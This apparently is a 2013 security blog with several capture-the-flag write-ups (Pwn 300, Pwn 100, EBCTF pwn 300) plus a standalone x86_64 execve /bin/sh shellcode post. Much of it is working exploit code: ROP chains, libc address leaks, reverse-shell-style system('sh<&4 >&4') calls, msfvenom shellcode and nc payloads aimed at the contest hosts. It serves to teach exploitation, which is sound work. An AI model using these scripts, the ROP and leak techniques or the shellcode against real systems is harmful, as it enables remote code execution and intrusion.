Monday, August 12, 2013

ctf.wargame.vn - Pwn 300

For pwn300 challenge we were given a 32-bit ELF executable with NX enabled. Analysing the binary we have the following information

First recv() call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v14, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer

Its possible to send 40 bytes in recv() call by using NUL byte after 24th byte, but memset() clears this memory

Second recv() call
[*] recv(fd, &buf, 4, 0) is called, this 4 bytes is assigned to another memory location

Third recv() call, which is similar to first call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v13, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer

Fourth recv() call
[*] We can reach the fourth recv() call if strcmp(&v13, &v14) == 0
[*] After recv(), strcpy(&v14 + 32, &s) is called
[*] There is a function pointer v15 at [ebp-0x44], &v14 + 32 points to ebp-0x50. So strcpy() call overwrites function pointer, giving control of EIP
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
#ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send("C"*36)
This is how the memory looked like during crash.
gdb-peda$ info registers 
eax            0x43434343 0x43434343
ecx            0x0 0x0
edx            0x25 0x25
ebx            0xffffd10c 0xffffd10c
esp            0xffffd0cc 0xffffd0cc
ebp            0xffffd1a8 0xffffd1a8
esi            0x0 0x0
edi            0x0 0x0
eip            0x43434343 0x43434343
eflags         0x10246 [ PF ZF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63

gdb-peda$ x/50x $esp
0xffffd0cc: 0x08048bdc 0xffffd138 0xffffd168 0x00000028
0xffffd0dc: 0x00000000 0x42424242 0xffffd138 0x01ffd138
0xffffd0ec: 0xffffd144 0x41414141 0x41414141 0x41414141
0xffffd0fc: 0x41414141 0x41414141 0x41414141 0x00000000
0xffffd10c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd11c: 0x41414141 0x41414141 0x03df6100 0x08048430
0xffffd12c: 0x00273dd0 0x0017bba4 0x08048864 0x42424242
0xffffd13c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd14c: 0x41414141 0x41414141 0x00000000 0x43434343
0xffffd15c: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd16c: 0x43434343 0x08048864 0x43434343 0x43434343
0xffffd17c: 0x43434300 0x08048864 0x43434343 0x43434343
0xffffd18c: 0x00000000 0x6e6f4320
The user input is spread out in stack. We need to point ESP to user controlled memory, to perform ROP.
0x08048f59: add esp, 0x1C ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
I used the above gadget to point ESP to user controlled buffer by overwriting function pointer with 0x8048f59. This is how the memory looked like after shifting the stack
soc.send(struct.pack("<I", 0x08048f59)*9
gdb-peda$ info registers 
eax            0x8048f59 0x8048f59
ecx            0x0 0x0
edx            0x25 0x25
ebx            0x1ffd138 0x1ffd138
esp            0xffffd0fc 0xffffd0fc
ebp            0x41414141 0x41414141
esi            0xffffd144 0xffffd144
edi            0x41414141 0x41414141
eip            0x41414141 0x41414141
eflags         0x10296 [ PF AF SF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
gdb-peda$ x/50wx $esp
0xffffd0fc: 0x41414141 0x41414141 0x41414141 0x00000000
0xffffd10c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd11c: 0x41414141 0x41414141 0x03df6100 0x08048430
0xffffd12c: 0x00273dd0 0x0017bba4 0x08048864 0x42424242
0xffffd13c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd14c: 0x41414141 0x41414141 0x00000000 0x08048f59
0xffffd15c: 0x08048f59 0x08048f59 0x08048f59 0x08048f59
0xffffd16c: 0x08048f59 0x08048864 0x08048f59 0x08048f59
0xffffd17c: 0x08048f00 0x08048864 0x08048f59 0x08048f59
0xffffd18c: 0x00000000 0x6e6f4320 0x63696c66 0x000a2074
0xffffd19c: 0xbab92437 0x003f7ff4 0x003f7ff4 0xffffd318
0xffffd1ac: 0x08048d84 0x00000008 0xffffd2fc 0xffffd1d8
0xffffd1bc: 0x001c8594 0x00266c18
Information leak to get libc address:

strcpy() doesn't allow use of NUL bytes. To perform ret-2-libc, I need information leak. But chaining gadgets was difficult as I couldn't pass function parameters due to NUL byte restriction. handle() function had an intersting sequence of instruction to call send()
.text:08048A17                 mov     eax, [ebp+fd]
.text:08048A1A                 mov     [esp], eax      ; fd
.text:08048A1D                 call    _send
Now to take advantage of this, we need to setup a few things

[*] fd value needs to be 0x4
[*] [ebp+fd] should point to 0x4. We have a pop ebp in the gadget 0x8048f59
[*] pop a value into ebp such that ebp+0x8 points to 0x4
gdb-peda$ x/x 0x08048050
0x8048050: 0x00000004
We can pop address 0x08048048 into ebp, so that [ebp+8] points to 0x4, which is our socket descriptor. Entire exploitation thrives on information leak using the above described gadgets. Since fork() is called, the address layout doesnt change when new child is spawned
First idea was to leak the GOT entry of __libc_start_main to find the randomized address of libc. With information leak, I found that my local copy of libc matched with the remote libc version. So I can compute offsets with accuracy
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

got_libc_start_main = 0x0804b018
offset_libc_start_main = 0x193e0
offset_system = 0x3f430
offset_program_invocation_name = 0x1a58a0

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x8048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I", got_libc_start_main)*3)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
soc.recv(1024)
time.sleep(0.5)
addr = struct.unpack("<I",soc.recv(4))[0]
print "__libc_start_main: ", hex(addr)
base = addr - offset_libc_start_main

print "Base addr: ",hex(base)
print "System addr: ",hex(base + offset_system)
print "program_invocation_name: ",hex(base + offset_program_invocation_name)
[ctf@renorobert Mario CTF]$ python leak300.py 
__libc_start_main:  0xf74ba3e0
Base addr:  0xf74a1000
System addr:  0xf74e0430
program_invocation_name:  0xf76468a0
Leaking random address of stack:

With libc address found, my idea was to call system('/bin/sh'). But that wasn't enough, we need dup2(). I decided to pass "sh<&4 >&4" as parameter to system(). But first, we need to locate the address of string in stack. After analysing libc I found that program_invocation_name holds the random stack address. We already computed the address of program_invocation_name. Now lets leak the data in it.
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x8048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I",0xf76468a0)*3)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
soc.recv(1024)
time.sleep(0.5)
print "Stack addr: ", hex(struct.unpack("<I",(soc.recv(256)[:4]))[0])
[ctf@renorobert Mario CTF]$ python leak300_stack.py 
Stack addr:  0xff94f3dd
So now we have the random stack address. Next we have to find the exact address of user string in stack memory

Finding address of string in stack:

Well, information leak again. We are going to read stack using the same set of gadgets to find the string.
soc.send(struct.pack("<I",0x08048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I",0xff94f3dd)*3)
[ctf@renorobert Mario CTF]$ python leak300_stack_memory.py 
'pwn2\x00SHELL=/home/pwn2/pwn2\x00TERM=screen\x00USER=pwn2\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:\x00SUDO_USER=vnsec\x00SUDO_UID=1000\x00TERMCAP=SC|screen|VT 100/ANSI X3.64 virtual terminal'
By changing address, I read the stack memory and finally found the location of string at 0xff94e0ac
[ctf@renorobert Mario CTF]$ python leak300_stack_memory.py 
'AAAAAAAAAAAAAAAAAAAAAAAA\x00/v\xf7\x189v\xf7\x01\x00\x00\x00\x00\x00\x00\x00d\x88\x04\x08BBBBAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00Y\x8f\x04\x08Y\x8f\x04\x08Y\x8f\x04\x08Y\x8f\x04\x08CCCCCCCCd\x88\x04\x08CCCCCCCCCCC\x00d\x88\x04\x08CCCCCCCCCCC\x00 Conflict \n\x00\x00UI\x9f\xf4_d\xf7\xf4_d\xf7'
Final exploit:

Now we have all the address needed to read flag. Below is the final exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
comm = "               sh<&4 >&4"

soc.send(comm)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x08048048)*2 + struct.pack("<I",0xf74e0430) + struct.pack("<I",0xff94e0ac)*3)
time.sleep(0.5)

soc.send(comm)
time.sleep(0.5)

soc.recv(1024)
soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
time.sleep(1)

soc.send("cat /home/pwn2/flag\n")
print repr(soc.recv(2048))
The flag for the challenge is mario_is_the_best_hacker_in_the_world

There are few globals in libc, which holds random address of stack and heap. Some globals that hold stack address are program_invocation_name, program_invocation_short_name and environ. More information in man program_invocation_name. __curbrk keeps track of heap address. It holds the address passed to brk() system call as the heap grows. Reading its value will give the random address of heap

ctf.wargame.vn - Pwn 100

Pwn 100 is a 64-bit ELF executable. The binary is simple, first it reads 8 bytes from user and passes it as address argument for mprotect() function call. Address has to be page aligned
.text:0000000000400890                 lea     rsi, [rbp+buf]  ; buf
.text:0000000000400894                 mov     eax, [rbp+fd]
.text:0000000000400897                 mov     ecx, 0          ; flags
.text:000000000040089C                 mov     edx, 8          ; n
.text:00000000004008A1                 mov     edi, eax        ; fd
.text:00000000004008A3                 call    _recv
.text:00000000004008A8                 mov     rax, [rbp+buf]
.text:00000000004008AC                 mov     edx, 7          ; prot
.text:00000000004008B1                 mov     esi, 400h       ; len
.text:00000000004008B6                 mov     rdi, rax        ; addr
.text:00000000004008B9                 call    _mprotect
Then, the binary receives 4 bytes of input using recv(4, buf, 4), then makes a call to buf using CALL RCX
.text:00000000004009DB                 mov     rax, [rbp+buf]
.text:00000000004009DF                 add     rax, 0FBh
.text:00000000004009E5                 mov     rsi, rax        ; buf
.text:00000000004009E8                 mov     eax, [rbp+fd]
.text:00000000004009EB                 mov     ecx, 0          ; flags
.text:00000000004009F0                 mov     edx, 4          ; n
.text:00000000004009F5                 mov     edi, eax        ; fd
.text:00000000004009F7                 call    _recv
.text:00000000004009FC                 mov     rax, [rbp+buf]
.text:0000000000400A00                 add     rax, 0FBh
.text:0000000000400A06                 mov     [rbp+var_8], rax
.text:0000000000400A0A                 mov     rdx, cs:FLAG
.text:0000000000400A11                 mov     eax, [rbp+fd]
.text:0000000000400A14                 mov     rcx, [rbp+var_8]
.text:0000000000400A18                 mov     rsi, rdx
.text:0000000000400A1B                 mov     edi, eax
.text:0000000000400A1D                 call    rcx
First we pass 0x0000000000400000 as address to mprotect(0x400000, 1024, 7). The we can pass 4 bytes of shellcode. The following input was passed to the executable
echo -ne '\x00\x00\x40\x00\x00\x00\x00\x00AAAA' | nc 127.0.0.1 4001
Below is the state of the program during the crash, viewed inside gdb.
RAX: 0x8 
RBX: 0x0 
RCX: 0x4000fb 
RDX: 0x400cac ("MARIO_", 'x' <repeats 18 times>)
RSI: 0x400cac ("MARIO_", 'x' <repeats 18 times>)
RDI: 0x8 
RIP: 0x4000fb

gdb-peda$ x/8x 0x4000fb
0x4000fb: 0x41 0x41 0x41 0x41 0x00 0x28 0x1e 0x60
We can observe a few things

[*] RIP is pointing to 0x4000fb
[*] RSI is pointing to 0x400cac, which looks like the buffer address of flag
[*] RAX is having the socket descriptor value

There is a f_shellcode(), with the following sequence to call send()
.text:000000000040082A                 mov     ecx, 0          ; flags
.text:000000000040082F                 mov     edx, 14h        ; n
.text:0000000000400834                 mov     edi, eax        ; fd
.text:0000000000400836                 call    _send
.text:000000000040083B                 leave
.text:000000000040083C                 retn
Since we have the registers already loaded, I tried reading the flag by jumping to the address of send() sequence. Here is the idea of shellcode

[*] Compute offset difference between current RIP and 0x40082A
[*] Perform a jump
>>> hex(0x40082A- 0x4000fb)
'0x72f'
nasm > jmp 0x72f
00000000  E92A070000        jmp dword 0x72f
So the final payload is
echo -ne '\x00\x00\x40\x00\x00\x00\x00\x00\xe9\x2a\x07\x00' | nc 42.117.7.116 4001
And I got the flag in reply, which is MARIO_PWN_THIS_FLAG

Tuesday, August 6, 2013

Stdin reopen & execve /bin/sh shellcode for Linux/x86_64

Wrote a Linux/x86_64 shellcode for stdin reopen during free time, as I couldn't find one easily. Total 57 bytes
/* gcc -z execstack -o shell shell.c */
/* stdin reopen & execve /bin/sh shellcode for Linux/x86_64 */

/* 
   0x600880 <code>:    xor    rax,rax
   0x600883 <code+3>:  push   rax
   0x600884 <code+4>:  pop    rdi
   0x600885 <code+5>:  mov    al,0x3
   0x600887 <code+7>:  syscall   ; close(0)
   0x600889 <code+9>:  push   rax
   0x60088a <code+10>: movabs rdi,0x7974742f7665642f
   0x600894 <code+20>: push   rdi
   0x600895 <code+21>: push   rsp
   0x600896 <code+22>: pop    rdi
   0x600897 <code+23>: push   rax
   0x600898 <code+24>: pop    rsi
   0x600899 <code+25>: mov    si,0x2702
   0x60089d <code+29>: mov    al,0x2
   0x60089f <code+31>: syscall ; open("/dev/tty", O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|O_ASYNC)
   0x6008a1 <code+33>: push   rax
   0x6008a2 <code+34>: movabs rdi,0x68732f2f6e69622f
   0x6008ac <code+44>: push   rdi
   0x6008ad <code+45>: push   rsp
   0x6008ae <code+46>: pop    rdi
   0x6008af <code+47>: push   rax
   0x6008b0 <code+48>: push   rdi
   0x6008b1 <code+49>: push   rsp
   0x6008b2 <code+50>: pop    rsi
   0x6008b3 <code+51>: cqo    
   0x6008b5 <code+53>: mov    al,0x3b
   0x6008b7 <code+55>: syscall   ; execve("/bin//sh", ["/bin//sh"], NULL)
*/

char code[] = 
"\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05"
"\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05"
"\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05";

void main(void) {
    void (*f)() = (void(*)())code;
    f();
}

Sunday, August 4, 2013

EBCTF 2013 Finals - pwn 300 - [Team SegFault]

Myself and Xelenonz worked on this challenge. Xelenonz found critical details about the challenge. He managed to take control of saved EIP in read_from_client() function. Below is the details about it
ascii_to_bin("abcdef",&str) => str = 0xabcdef
ascii_to_bin("deadbeef",&str) => str = 0xdeadbeef

echo `perl -e 'print "A"x72,"41"x4,"42"x4,"a8c00408","\r\n"'` | nc 127.0.0.1 7070
ret => 0x41414141
str is 0x20 bytes away from EBP. In ascii_to_bin(), we can see
*(_BYTE *)(i + str) = v2 | n_to_i(buf[2 * i + 1]);
This eventually leads to the vulnerability, as i value increases in loop, *(_BYTE *)(i + str) goes past allocated buffer in read_from_client(). Once this was found, we started building our exploit on top of this. Below is the idea of exploit

[*] Leak address of __libc_start_main from GOT using send()
[*] Return into read() to copy stage 2 payload into .data section
[*] Shift stack into .data section using leave; ret gadget
[*] Shifted stack has gadgets to return into mmap(), allocate a new memory with RWX
[*] Return into read() to copy shellcode into mmap()'ed region
[*] Jump into the starting address of mmap()'ed region

Leaked address of __libc_start_main was found to be 0xf76303e0. The __libc_start_main offset in my ubuntu VM was 0x193e0. Now
>>> hex(0xf76303e0 - 0x193e0)
'0xf7617000'
This very much looked like base address of libc. So we used address offsets from this libc and it worked. Below is the full exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = '127.0.0.1'
ip = '54.217.15.93'
port = 7070

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# msfvenom
shell = ( "\xbb\x3e\xa8\x55\xd1\xdb\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" +
          "\xb1\x0f\x31\x5a\x12\x83\xc2\x04\x03\x64\xa6\xb7\x24\xf2" +
          "\xbd\x6f\x5e\x50\xa4\xe7\x4d\x37\xa1\x1f\xe5\x98\xc2\xb7" +
          "\xf6\x8e\x0b\x2a\x9e\x20\xdd\x49\x32\x54\xc8\x8d\xb3\xa4" +
          "\xdc\xef\xda\xca\x0d\x83\x74\x32\x7f\x00\xa5\x41\x17\xfa" +
          "\x83\x91\xc7\x3c\xea\xed\x07\x16\xa1\x84\xe9\x55\xc5" )


payload  = "A"*72
payload += "938d0408" # pop2ret
payload += "41414141" #
payload += "00a00408" # need to be valid address
payload += "208a0408" # send(4,__libc_start_main,0x4,0) @ PLT
payload += "dca70408" # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += "04000000" # fd
payload += "64c00408" # buf
payload += "04000000" # size
payload += "00000000" # flag
payload += "c0870408" # read @ PLT
payload += "dca70408" # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += "04000000" # fd
payload += "c0c00408" # .data
payload += "00040000" # size
payload += "c0c00408" # .data
payload += "898a0408" # leave, ret; stack shifting 
payload += "\r\n"

soc.send(payload)
addr = struct.unpack("<I",(soc.recv(1024)))[0] # address leak
print hex(addr)

# stage 2

payload  = struct.pack("<I", 0x0804c0c0)     # .data
payload += struct.pack("<I", addr+(0xd1d00)) # mmap
payload += struct.pack("<I", 0x08048d90)     # add esp, 0x14 ; pop ebx ; pop ebp
payload += struct.pack("<I", 0xbadc000)      # address
payload += struct.pack("<I", 1024)           # size
payload += struct.pack("<I", 7)              # permission
payload += struct.pack("<I", 34)
payload += struct.pack("<I", 0x00)
payload += struct.pack("<I", 0x00)
payload += "MOVE"
payload += struct.pack("<I", 0x080487c0)     # read @ PLT
payload += struct.pack("<I", 0xbadc000)      # ret address
payload += struct.pack("<I", 0x4)            # fd
payload += struct.pack("<I", 0xbadc000)      # address
payload += struct.pack("<I", 1024)           # size

soc.send(payload + "\n")
time.sleep(1)

# stage 3
soc.send(shell+"\n")
soc.send("cat goproot/FLAG\n")
print soc.recv(1024)
Here is the flag for the challenge : ebCTF{35a6673b2243c925e02e85dfa916036f}